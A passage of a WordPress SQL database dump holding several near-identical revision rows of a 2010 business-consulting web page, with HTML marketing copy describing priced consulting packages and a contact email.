USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60-90 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now! Then you''ll be one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:04:17', '2010-04-23 02:04:17', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-59/', 0, 'revision', '', 0);
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(749, 2, '2010-04-22 18:40:44', '2010-04-23 01:40:44', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on discovering the creative and innovative power of your own white hot center–what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. We bring deeper insight and clarity around the strategic issues facing your business and personal growth. We provide guidance and creativity to help you develop a differentiated positioning that matters to your customers and elevates their perception of your value to them. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence the demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 18:40:44', '2010-04-23 01:40:44', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-57/', 0, 'revision', '', 0),
(750, 2, '2010-04-22 18:46:08', '2010-04-23 01:46:08', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on discovering the creative and innovative power of your own white hot center–what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. We bring deeper insight and clarity around the strategic issues facing your business and personal growth. We provide guidance and creativity to help you develop a differentiated positioning that matters to your customers and elevates their perception of your value to them. Together we outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-15,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, game-changing, brain-storm session designed to ignite individuals, solo entrepreneurs, professionals and artists to gain more clarity and conviction to discover what matters most to them and develop the discipline to pursue their vision of a bigger better future. Working within a defined structure, we jam on your best thinking, and develop ideas and a plan to move you closer to the results you desire. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 1-hour Power Session Jam conference calls to help you discover and define your unique white hot center of competitive advantage then apply that awareness to more new business development and personal effectiveness tactics that will insure the result of your bigger future.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe individual Power Session is designed to spark your imagination, ignite wild and daring ideas to inspire your greater awareness to what opportunities matter the most to you. You’ll be asked lots of “what-if” questions in this rapid-fire, hour-long burn that will guide the trajectory of your big ideas. We record the call and send an audio file back to for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a fit. My purpose is to inspire and provide real value to help you move forward toward your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 18:46:08', '2010-04-23 01:46:08', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-58/', 0, 'revision', '', 0),
(754, 2, '2010-04-22 19:18:49', '2010-04-23 02:18:49', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting the business to the million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn sets the trajectory of your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now! Then you''ll be one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:18:49', '2010-04-23 02:18:49', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-62/', 0, 'revision', '', 0),
(755, 2, '2010-04-22 19:21:52', '2010-04-23 02:21:52', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, marketing communications to internal and external audiences. The business imperatives that drive this level of engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience greater complexity getting their business to the $million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$10,000-20,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn sets the trajectory of your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement now! Then you''ll be one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-04-22 19:21:52', '2010-04-23 02:21:52', '', 138, 'http://www.whitehotcenter.com/2010/04/22/138-revision-63/', 0, 'revision', '', 0),
(756, 2, '2010-04-22 19:24:25', '2010-04-23 02:24:25', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provide guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Our clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and team growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( market insight  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing,communications) </strong></span>\r\n</span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" 